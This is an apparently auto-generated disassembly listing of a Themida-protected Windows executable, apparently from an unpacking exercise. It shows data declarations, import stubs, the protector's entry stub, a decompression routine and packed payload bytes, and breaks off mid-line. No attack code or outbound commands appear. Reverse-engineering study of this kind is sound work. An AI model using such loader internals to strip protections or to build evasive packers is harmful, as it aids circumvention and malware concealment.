sub_417275+159w ; sub_417552+4Fr dword_4D4008 dd 0 ; DATA XREF: sub_4178BA+22w ; sub_4178BA:loc_417A3Fw ... dword_4D400C dd 0 ; DATA XREF: sub_401ACD+3CC3o ; sub_417788+12o ... dd 0 dword_4D4014 dd 0 ; DATA XREF: sub_4178BA+1Cr ; sub_417A5F+3Ar dd 4Eh dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_437830o dd 30h dup(0) dword_4D4214 dd 0 ; DATA XREF: sub_4178BA+28r ; sub_417A5F+4Aw dd 1944h dup(0) dword_4DA728 dd 0 ; DATA XREF: sub_417A5F+23o dword_4DA72C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE1o ; sub_417788+3Co ... dword_4DA930 dd 17h dup(0) ; DATA XREF: sub_4187DD:loc_4188FAo ; sub_4187DD+131o ... dword_4DA98C dd 80h dup(0) ; DATA XREF: sub_419593+7Co ; sub_419593+A5o dword_4DAB8C dd 0 ; DATA XREF: sub_418B58+45w ; sub_418B58+4Dr ... dword_4DAB90 dd 17h dup(0) ; DATA XREF: sub_41945F:loc_419581o ; sub_41945F+12Do dword_4DABEC dd 80h dup(0) ; DATA XREF: sub_418A98+4Co ; sub_418A98+7Eo ... byte_4DADEC db 0 ; DATA XREF: sub_418B58+29r ; sub_418B58+34w align 10h dword_4DADF0 dd 80h dup(0) ; DATA XREF: sub_418DAF+61o ; sub_418DAF+89o ... dword_4DAFF0 dd 81h dup(0) ; DATA XREF: sub_4186C1:loc_4186F9o ; sub_4186C1+5Bo dword_4DB1F4 dd 0 ; DATA XREF: sub_419A20:loc_419A41r ; sub_419B0F+54r ... dword_4DB1F8 dd 0 ; DATA XREF: sub_419A20r ; sub_419B0F+37r ... dword_4DB1FC dd 0 ; DATA XREF: sub_419A50+1Ar ; sub_419C64+83o dword_4DB200 dd 0 ; DATA XREF: sub_419A20:loc_419A34r ; sub_419C64+11Bw dword_4DB204 dd 0Dh dup(0) ; DATA XREF: sub_419B0F+13o ; sub_419C64:loc_419DA1o dword_4DB238 dd 0 ; DATA XREF: sub_419B0F+CDr ; sub_419B0F+ECr ... align 10h dword_4DB240 dd 0Eh dup(0) ; DATA XREF: sub_41A88B+47o dword_4DB278 dd 0 ; DATA XREF: sub_41BBBD+1B9w ; ___:loc_41D268w ... dword_4DB27C dd 0 ; DATA XREF: sub_41D3BE+35w ; sub_41DA72:loc_41DB0Cw ... dword_4DB280 dd 0 ; DATA XREF: sub_423A33+13Ar dd 0A28h, 501h, 5, 1 dword_4DB294 dd 1 ; DATA XREF: ___:loc_401516r ; ___:00423014w dword_4DB298 dd 2430B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... align 10h dword_4DB2A0 dd 2430B58h ; DATA XREF: ___:00422F0Ew ; sub_425AC7+9r ... dword_4DB2A4 dd 0 ; DATA XREF: sub_4261AB+36r dword_4DB2A8 dd 0 ; DATA XREF: sub_425AC7+16r ; sub_425E95+4r ... align 10h off_4DB2B0 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w ; "C:\\m_unpacker\\packed.exe" align 8 byte_4DB2B8 db 0 ; DATA XREF: sub_41B7D3+2Dw ; sub_4239DB+5r align 4 dword_4DB2BC dd 0 ; DATA XREF: sub_41B7D3+27w dword_4DB2C0 dd 0 ; DATA XREF: sub_41B7D3+4r ; sub_41B7D3+8Bw dword_4DB2C4 dd 0 ; DATA XREF: sub_41C0F4+3Br ; sub_41C0F4+91w dd 0 dword_4DB2CC dd 0 ; DATA XREF: sub_41C748+Aw dword_4DB2D0 dd 0 ; DATA XREF: sub_41D081+5Er ; sub_41D081+A4w align 8 word_4DB2D8 dw 0 ; DATA XREF: sub_41D081+55r ; sub_41D081+9Ao word_4DB2DA dw 0 ; DATA XREF: sub_41D081+48r db 2 dup(0) word_4DB2DE dw 0 ; DATA XREF: sub_41D081+3Br word_4DB2E0 dw 0 ; DATA XREF: sub_41D081+2Er word_4DB2E2 dw 0 ; DATA XREF: sub_41D081+21r align 8 dword_4DB2E8 dd 0 ; DATA XREF: ___:loc_422EDCr ; ___:loc_422F1Er ... align 10h dword_4DB2F0 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ... dword_4DB2F4 dd 0 ; DATA XREF: sub_41EB10+4Bw ; sub_41EC29+2Dw ... dword_4DB2F8 dd 0 ; DATA XREF: sub_41F312r dword_4DB2FC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er ; sub_41B202:loc_41B43Fr ... dword_4DB300 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r ; sub_420042+4w ... dword_4DB304 dd 0 ; DATA XREF: sub_420446+37r dd 0 dword_4DB30C dd 0 ; DATA XREF: sub_4219D9+11r ; sub_421ADD+1Ar ... byte_4DB310 db 0 ; DATA XREF: sub_4219D9+3r ; sub_4219D9+98r ... align 4 dword_4DB314 dd 0 ; DATA XREF: sub_421ADD+11r ; sub_421BBB+21w ... byte_4DB318 db 0 ; DATA XREF: sub_421BBB+51w align 4 dword_4DB31C dd 0 ; DATA XREF: sub_421DB1+4Er ; sub_42218C+3Ar ... dword_4DB320 dd 0 ; DATA XREF: sub_421DB1+5Cr ; sub_42218C+43r ... dword_4DB324 dd 0 ; DATA XREF: sub_41C9CE+7Ar ; sub_421F58+5r dword_4DB328 dd 0 ; DATA XREF: sub_42255C+29r dword_4DB32C dd 2 dup(0) ; DATA XREF: sub_41D160+Co dword_4DB334 dd 0 ; DATA XREF: sub_41D5AA+4r ; sub_41D5AA+6Er ... dd 3 dup(0) dword_4DB344 dd 0 ; DATA XREF: sub_41D834+61r ; sub_41D834+BFr ... dd 0 dword_4DB34C dd 1 ; DATA XREF: sub_422ACA+28r ; sub_422ACA+4Cw ... dword_4DB350 dd 0 ; DATA XREF: ___:00422D28r ; ___:00422D34w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao ; ___:off_4DB2B0o align 10h dd 3Ah dup(0) dword_4DB458 dd 1 ; DATA XREF: ___:004231D2r ; ___:004231F3w ... dword_4DB45C dd 0 ; DATA XREF: sub_423590+21r dword_4DB460 dd 0 ; DATA XREF: sub_41F32D+154w ; sub_420446:loc_42046Fw ... dword_4DB464 dd 0 ; DATA XREF: sub_41F32D+7r dword_4DB468 dd 1 ; DATA XREF: sub_423CEC+26r ; sub_423CEC:loc_423D56w align 10h word_4DB470 dw 0 ; DATA XREF: sub_4245E9+1Ao ; sub_4245E9+46r byte_4DB472 db 0 ; DATA XREF: sub_4245E9+39r align 4 dword_4DB474 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o dword_4DB490 dd 0 ; DATA XREF: sub_4245E9+40w ; sub_4245E9+5Co dword_4DB494 dd 0 ; DATA XREF: sub_4245E9+4Dw dword_4DB498 dd 0 ; DATA XREF: sub_4245E9+31w dword_4DB49C dd 0 ; DATA XREF: sub_4245E9+52w dword_4DB4A0 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr ; sub_42470C+38r ... align 8 dword_4DB4A8 dd 0 ; DATA XREF: sub_4247EC+11w ; sub_4247EC+63w ... align 10h dword_4DB4B0 dd 0 ; DATA XREF: sub_4247EC+33o ; sub_4247EC+46r dword_4DB4B4 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o word_4DB4F4 dw 0 ; DATA XREF: sub_424A4A+A8r word_4DB4F6 dw 0 ; DATA XREF: sub_4247EC+54r ; sub_424A4A+DBr ... word_4DB4F8 dw 0 ; DATA XREF: sub_424A4A+CAr word_4DB4FA dw 0 ; DATA XREF: sub_424A4A+D3r ; sub_424A4A:loc_424B3Cr word_4DB4FC dw 0 ; DATA XREF: sub_424A4A+C0r word_4DB4FE dw 0 ; DATA XREF: sub_424A4A+B8r word_4DB500 dw 0 ; DATA XREF: sub_424A4A+B0r word_4DB502 dw 0 ; DATA XREF: sub_424A4A+9Er dword_4DB504 dd 0 ; DATA XREF: sub_4247EC+4Br dword_4DB508 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo word_4DB548 dw 0 ; DATA XREF: sub_424A4A+46r word_4DB54A dw 0 ; DATA XREF: sub_4247EC:loc_424863r ; sub_424A4A+78r ... word_4DB54C dw 0 ; DATA XREF: sub_424A4A+67r word_4DB54E dw 0 ; DATA XREF: sub_424A4A+70r ; sub_424A4A:loc_424ACEr word_4DB550 dw 0 ; DATA XREF: sub_424A4A+5Dr word_4DB552 dw 0 ; DATA XREF: sub_424A4A+55r word_4DB554 dw 0 ; DATA XREF: sub_424A4A+4Dr word_4DB556 dw 0 ; DATA XREF: sub_424A4A+3Er dword_4DB558 dd 0 ; DATA XREF: sub_4247EC+80r dword_4DB55C dd 0 ; DATA XREF: sub_4247EC+132r ; sub_4247EC:loc_424938r ... dword_4DB560 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew dword_4DB564 dd 0 ; DATA XREF: sub_424D78+3r ; sub_424D78+2Ew ... dword_4DB568 dd 0 ; DATA XREF: sub_424D78+43w ; sub_424D78:loc_424DC7r dword_4DB56C dd 0 ; DATA XREF: sub_424D78+4Aw ; sub_424D78+60r dword_4DB570 dd 0 ; DATA XREF: sub_423A33+3Fr dword_4DB574 dd 0 ; DATA XREF: sub_425955:loc_4259BCr ; sub_425955+6Do dword_4DB578 dd 0 ; DATA XREF: sub_425955:loc_425993r ; sub_425955+44o dword_4DB57C dd 0 ; DATA XREF: sub_425955:loc_425986r ; sub_425955+37o dword_4DB580 dd 0 ; DATA XREF: sub_425955:loc_4259A0r ; sub_425955+51o align 8 dword_4DB588 dd 0 ; DATA XREF: sub_425F03+28r ; sub_425F03+48w ... dword_4DB58C dd 0 ; DATA XREF: sub_426988+28r ; sub_426988+4Cw ... dword_4DB590 dd 0 ; DATA XREF: sub_426C13+26r ; sub_426C13:loc_426C7Dw byte_4DB594 db 0 ; DATA XREF: sub_40D878r sub_40D878+9w align 4 dword_4DB598 dd 2431140h ; DATA XREF: sub_41DBF0:loc_41DC01r ; sub_41F49D+14r ... align 10h dword_4DB5A0 dd 400h dup(0) ; DATA XREF: ___:off_43C9E8o ; ___:0043C9F0o dword_4DC5A0 dd 200h ; DATA XREF: sub_41DBF0+9r ; sub_41DBF0+56r ... dd 7 dup(0) dword_4DC5C0 dd 2430650h ; DATA XREF: sub_41F043+75r ; sub_41F11C+2Ar ... dword_4DC5C4 dd 3Fh dup(0) ; DATA XREF: ___:00423394o dword_4DC6C0 dd 20h ; DATA XREF: sub_41DA72+8r ; sub_41F11C+Cr ... dword_4DC6C4 dd 4E4h ; DATA XREF: sub_41FEA9+14r ; sub_41FEA9+65w ... align 10h dword_4DC6D0 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o ; sub_41FEA9+171o ... dword_4DC6DC dd 0 ; DATA XREF: sub_41FEA9+108w ; sub_41FEA9+15Dw ... byte_4DC6E0 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w ; sub_4200E8:loc_420211w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DC7E0 db 0 ; DATA XREF: sub_41FEA9+5Co ; sub_41FEA9+AFo ... byte_4DC7E1 db 0 ; DATA XREF: sub_41B9D1+5Dr ; sub_41FEA9+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DC8E4 dd 0 ; DATA XREF: sub_41FEA9+6Ew ; sub_41FEA9+12Bw ... dword_4DC8E8 dd 0 ; DATA XREF: sub_41E4D4+5r ; sub_41E4D4+32w dword_4DC8EC dd 0 ; DATA XREF: sub_41DEA2+23Ar ; sub_41DEA2+25Ar ... dword_4DC8F0 dd 0 ; DATA XREF: sub_41DEA2+311w ; sub_41E1CB:loc_41E21Br ... dword_4DC8F4 dd 0 ; DATA XREF: sub_41DEA2+22Dr ; sub_41DEA2+260r ... dword_4DC8F8 dd 0 ; DATA XREF: sub_41DE77r ; sub_41DEA2+2CBr ... dword_4DC8FC dd 0 ; DATA XREF: sub_41DE77+8r ; sub_41DEA2+2D0r ... dword_4DC900 dd 0 ; DATA XREF: sub_41B202+5Cr ; sub_41B513+Fr ... dword_4DC904 dd 2430000h ; DATA XREF: sub_41B0B1+5Ar ; sub_41B202+C0r ... dword_4DC908 dd 1 ; DATA XREF: sub_41B0B1+Cr ; sub_41B202:loc_41B232r ... dword_4DC90C dd 142340h ; DATA XREF: ___:00422E81r ; ___:00422FACr dword_4DC910 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r dword_4DC914 dd 1 ; DATA XREF: sub_42026Dr ; sub_42026D+11w ... dword_4DC918 dd 2430758h ; DATA XREF: sub_41B7D3+3Er ; sub_41CFD3+13r ... dword_4DC91C dd 2430758h ; DATA XREF: sub_41B7D3+35r ; sub_41B7D3+57r ... dd 1B8h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DE000h dd 400h dup(0) _rsrc___ ends ; Section 3. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DF000h a7icwCw db '7¨çwµ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 0DF050h, 0DF000h, 3 dup(0) dd 0DF079h, 0DF00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E0000) ; Virtual size : 000DC000 ( 901120.) ; Section size in file : 000DC000 ( 901120.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4E0000h dd 41DA05CEh, 42BC1h, 54090h, 95172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053BC59 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053EFAE SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0053F224 SIZE 00000047 BYTES mov eax, 0 pusha or eax, eax jz short loc_4E0086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E0041 popa jmp short loc_4E0076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4E0041: ; CODE XREF: start+18j call $+5 pop eax loc_4E0047: ; DATA XREF: ___:00437A34o and eax, 0FFFFF000h xor edi, edi loc_4E004E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E006D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E0074 loc_4E006D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E004E ; --------------------------------------------------------------------------- loc_4E0074: ; CODE XREF: start+57j mov edi, eax loc_4E0076: ; CODE XREF: start+1Bj jmp loc_4E0265 ; --------------------------------------------------------------------------- db 3 dd 26AB9C7h, 0CF03000Eh db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4E0086: ; CODE XREF: start+8j mov eax, offset loc_53BC59 mov ecx, offset word_4E026A push eax push ecx call sub_4E011B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E0265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E011B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E0132: ; CODE XREF: sub_4E011B+7Aj ; sub_4E011B+C3j ... add dl, dl jnz short loc_4E013B mov dl, [esi] inc esi adc dl, dl loc_4E013B: ; CODE XREF: sub_4E011B+19j jnb short loc_4E0127 add dl, dl jnz short loc_4E0146 mov dl, [esi] inc esi adc dl, dl loc_4E0146: ; CODE XREF: sub_4E011B+24j jnb short loc_4E0197 xor eax, eax add dl, dl jnz short loc_4E0153 mov dl, [esi] inc esi adc dl, dl loc_4E0153: ; CODE XREF: sub_4E011B+31j jnb loc_4E0238 add dl, dl jnz short loc_4E0162 mov dl, [esi] inc esi adc dl, dl loc_4E0162: ; CODE XREF: sub_4E011B+40j adc eax, eax add dl, dl jnz short loc_4E016D mov dl, [esi] inc esi adc dl, dl loc_4E016D: ; CODE XREF: sub_4E011B+4Bj adc eax, eax add dl, dl jnz short loc_4E0178 mov dl, [esi] inc esi adc dl, dl loc_4E0178: ; CODE XREF: sub_4E011B+56j adc eax, eax add dl, dl jnz short loc_4E0183 mov dl, [esi] inc esi adc dl, dl loc_4E0183: ; CODE XREF: sub_4E011B+61j adc eax, eax jz short loc_4E018D push edi sub edi, eax mov al, [edi] pop edi loc_4E018D: ; CODE XREF: sub_4E011B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j mov eax, 1 loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j add dl, dl jnz short loc_4E01A5 mov dl, [esi] inc esi adc dl, dl loc_4E01A5: ; CODE XREF: sub_4E011B+83j adc eax, eax add dl, dl jnz short loc_4E01B0 mov dl, [esi] inc esi adc dl, dl loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej jb short loc_4E019C sub eax, ebx mov ebx, 1 jnz short loc_4E01E3 mov ecx, 1 loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j add dl, dl jnz short loc_4E01C9 mov dl, [esi] inc esi adc dl, dl loc_4E01C9: ; CODE XREF: sub_4E011B+A7j adc ecx, ecx add dl, dl jnz short loc_4E01D4 mov dl, [esi] inc esi adc dl, dl loc_4E01D4: ; CODE XREF: sub_4E011B+B2j jb short loc_4E01C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j add dl, dl jnz short loc_4E01FA mov dl, [esi] inc esi adc dl, dl loc_4E01FA: ; CODE XREF: sub_4E011B+D8j adc ecx, ecx add dl, dl jnz short loc_4E0205 mov dl, [esi] inc esi adc dl, dl loc_4E0205: ; CODE XREF: sub_4E011B+E3j jb short loc_4E01F1 cmp eax, 7D00h jnb short loc_4E0228 cmp eax, 500h jb short loc_4E0223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0223: ; CODE XREF: sub_4E011B+F8j cmp eax, 7Fh ja short loc_4E022B loc_4E0228: ; CODE XREF: sub_4E011B+F1j add ecx, 2 loc_4E022B: ; CODE XREF: sub_4E011B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E0259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0259: ; CODE XREF: sub_4E011B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E011B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E0265: ; CODE XREF: start:loc_4E0076j ; start+9Dj jmp loc_53BC59 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E026A dw 38E9h ; DATA XREF: start+77o dd 1523350h, 5201BFBFh, 61747365h, 7041CC72h, 78F42EE2h dd 0F51FC2F9h, 87707191h, 14DDE5Fh, 37AFBEB8h, 0FE080335h dd 0CC4C2247h, 0A533E8FAh, 0EB42B801h, 0E19822BFh, 36FCBA0Ah dd 0AB3E848Bh, 42B824C8h, 18F6D2AFh, 7B01F2FAh, 85C550Ch dd 312D3430h, 0E1039246h, 54BCEF1Ah, 6D656803h, 84616469h dd 0A8A4AB3Ah, 11BCAA78h, 772103DCh, 3C60ED5h, 21A2AF11h dd 1CFF112Eh, 0D487C58Bh, 8008E860h, 5FED815Dh, 6060733h dd 2F519589h, 1DB5110Dh, 0FD851C18h, 0BD830820h, 7382899h dd 0E88B0C74h, 5AB8E222h, 0C7C27BFDh, 1D244470h, 11C93Eh dd 60E8456Ah, 9A6829A3h, 0E9FB8374h, 250A40DFh, 0A7A894Bh dd 24E9D544h, 57300214h, 0A8B55D0h, 0D8C483ECh, 815AC0EEh dd 34404DEAh, 0C7DA098Bh, 81BD845h, 89400E18h, 0FC7D8108h dd 741DC680h, 87F200Fh, 10B78324h, 4312FF98h, 36E163EBh dd 267461DCh, 4C2C914h, 0C4810646h, 8E02FF7Ch, 8D964449h dd 8B804501h, 85C7085Dh, 504A1944h, 0D1000A8Dh, 411888C3h dd 810BA889h, 206A2BDh, 94E3755Dh, 0BA8D2827h, 475EC64h dd 0BB0E8A80h, 0B85B90F4h, 540F37ABh, 0CCD0D378h, 3B4B080Fh dd 0AF05F775h, 244647C3h, 0F946624Ah, 61D142A2h, 0D0078ABAh dd 0EED85FF0h, 4DA0FC45h, 0ADA304EBh, 3E8046C8h, 0BAF740C5h dd 0E6348436h, 0EB0C197Dh, 0CF83E7Fh, 0F012C86Dh, 0A8F40E4Ch dd 14C14A10h, 0D604F065h, 0E0D1F803h, 2896C203h, 8ADB3301h dd 0FB80301Ch, 0C30A72CCh, 577390Ah, 26EFEBD3h, 617F1422h dd 660A0D67h, 0F51E08F6h, 0EA0AC3F4h, 411AC310h, 0A0D0B72h dd 24067746h, 5D0121EAh, 0F4EC87F0h, 2317D83h, 0CB3B072h dd 0A57676C0h, 0F826AA64h, 8D76E01Ch, 553BA8A0h, 820FFC0Ah dd 0B09CBD78h, 0E538AA1Bh, 0E08BA0Eh, 0FC700AB9h, 35DCBD84h dd 470FFE00h, 0FA1C7549h, 6A5D22B9h, 3F01BBCEh, 0EB82F146h dd 8ED8F10Ch, 37E10386h, 65510708h, 1D7F3683h, 26508AEEh dd 5A0E907h, 52FE6B59h, 13C304F2h, 90C45A21h, 19254D8Ah dd 8458205h, 42218016h, 6904C452h, 0C5E40C81h, 0C91B0BEAh dd 48CDAD00h, 0B75CB816h, 2C200C66h, 0F17AF9C3h, 1054DCC2h dd 0EA198381h, 8A0B0006h, 988820B8h, 8C39675Ch, 34CB1CD9h dd 3982803Bh, 0F765B4Eh, 51B80710h, 0C7D1043Dh, 4046663Bh dd 2E09751Dh, 480E1158h, 65E414ECh, 27D3090h, 8E05C584h dd 92A4F496h, 54047853h, 508C29C2h, 0DBE78671h, 0FFB3CA0Eh dd 77812B0Ch, 11D2204h, 0F984C134h, 90207533h, 76773FBCh dd 30EF670Ah, 0EC413302h, 9F7F8C89h, 4090FFCCh, 0E9EA45CFh dd 0C4625060h, 0CE8C5228h, 0AA82110Ah, 0AB3311B1h, 1384425Ah dd 82F85629h, 0FFEE825Eh, 111981AAh, 0A88A3EBDh, 238113B9h dd 61434A97h, 0BC74F4D8h, 8DDDD231h, 751200CFh, 0B87DD0F3h dd 0E201819Ah, 581EBC05h, 0CAC85D0Bh, 44863410h, 0E0F3074Bh dd 33B293C8h, 0D028228h, 5DEC821Ch, 1540EA8Dh, 30535342h dd 8AE4C45Bh, 43805543h, 0AAE5C453h, 88A101Bh, 8184B217h dd 59B4FD33h, 20F24049h, 96F9BF61h, 0B42D1400h, 868A62B5h dd 262A603Ah, 0F6CABC67h, 1DBE14C4h, 3D0FE906h, 9C79E207h dd 60DFDC3Fh, 0B09BB93Ah, 152BF81Ch, 7F048C10h, 159D913h dd 8DC182B4h, 0C018806Fh, 2644502Eh, 1C7B30BFh, 8CDBB8B7h dd 19BA1100h, 8251AB3Eh, 0D0CB04C3h, 0C0FD28C5h, 0A9184103h dd 1F9593Fh, 97AE55F3h, 6B8F533Ch, 0F8800190h, 52262876h dd 5E98405h, 88378510h, 0D27AEFA7h, 61371611h, 62F8213Fh dd 9622EAh, 0C8C1B223h, 0C7C9EB8h, 10E91551h, 0E11C5F1Dh dd 0AB40D2E7h, 0A74AA99h, 2A5301F7h, 5C547845h, 25A96160h dd 3950FF6h, 34D9DDFAh, 75F59092h, 15CB1F6Dh, 6F2589D5h dd 71F6D0Fh, 40BDE57Dh, 69D26D7Ah, 86287E6Fh, 0F8086E63h dd 0C72C012Bh, 0A74C2460h, 2498547h, 5A80D0D8h, 69546Fh dd 0F3CA5223h, 0CF188DDBh, 60643A01h, 0C96E8B35h, 0FE51A6C8h dd 2CFC50EAh, 5D601B6Ch, 0F7B0206Fh, 0F20FD133h, 5EAB8D74h dd 10BDDF0Ch, 71501844h, 64142880h, 81416760h, 3763A2Bh dd 51F04AD9h, 0A8C0B070h, 15186E95h, 0E429390Dh, 69F96058h dd 0E751C6F6h, 0E41F44A4h, 5E0F948h, 4F662013h, 0CB880EEAh dd 8F14FD8Ah, 3AF06540h, 0FF94548Ch, 0E97C9700h, 1DF294FBh dd 0C3AB00A4h, 0C523D7Ah, 2E009521h, 0B179A1D0h, 0CDAD1E7h dd 889D50E4h, 82448D48h, 7C800040h, 0A0B33841h, 8C02DAC1h dd 66AB1486h, 0F948A454h, 0F64DC327h, 766C1901h, 7471D251h dd 0B8035182h, 0D083E530h, 2900EE34h, 0F2172757h, 7E56BE4Bh dd 75BA020Dh, 6A4370D4h, 0CDA9E08Ch, 69626330h, 0D136E1h dd 52CAE8E3h, 0A58F54B9h, 0C3AD0101h, 0C6DC076Ch, 503CD440h dd 35894025h, 24E8A438h, 718F10FFh, 7D0950D8h, 3820D1ECh dd 63E7CEABh, 58F4B954h, 0C7CAD22h, 0F44B66B3h, 0F18CCB9h dd 0E428C750h, 9E892060h, 750CCAE4h, 0F9818D18h, 43FB00B7h dd 292A0E15h, 0FA01FFB8h, 5934767Bh, 904868D2h, 40ECFCA3h dd 2100CEF1h, 69185197h, 0C1F0840Fh, 0FD586C68h, 0FF650794h dd 3F1815C6h, 9448D2C8h, 0C9E77D83h, 60D4D105h, 0A4303CEBh dd 60E97DD1h, 4F1821CCh, 0ACA86663h, 0F30044D3h, 0B8C5C6C9h dd 7555433h, 0EED81E0Ah, 30B70037h, 0B0927608h, 1F80B372h dd 0E8515266h, 20F0C450h, 0AC0AFE70h, 0C8980F6Ch, 0D1876A82h dd 25384196h, 638502F6h, 3900A044h, 0C08D08B5h, 76E62179h dd 49D81E48h, 7E45035Ah, 0B914CFEFh, 869C76D2h, 0F841E37Dh dd 216023Bh, 27695625h, 0C2280064h, 0E020A424h, 0BE0431D6h dd 0E8BA0831h, 0E10190A9h, 0D35695DFh, 88E8F024h, 67A40734h dd 0A2C8C928h, 1861B6F7h, 3C448Ch, 0FD2E5B9Bh, 8D48AB61h dd 0ED8E81C0h, 9DCC45Ch, 256C005Fh, 5745B636h, 5AFE7C4Bh dd 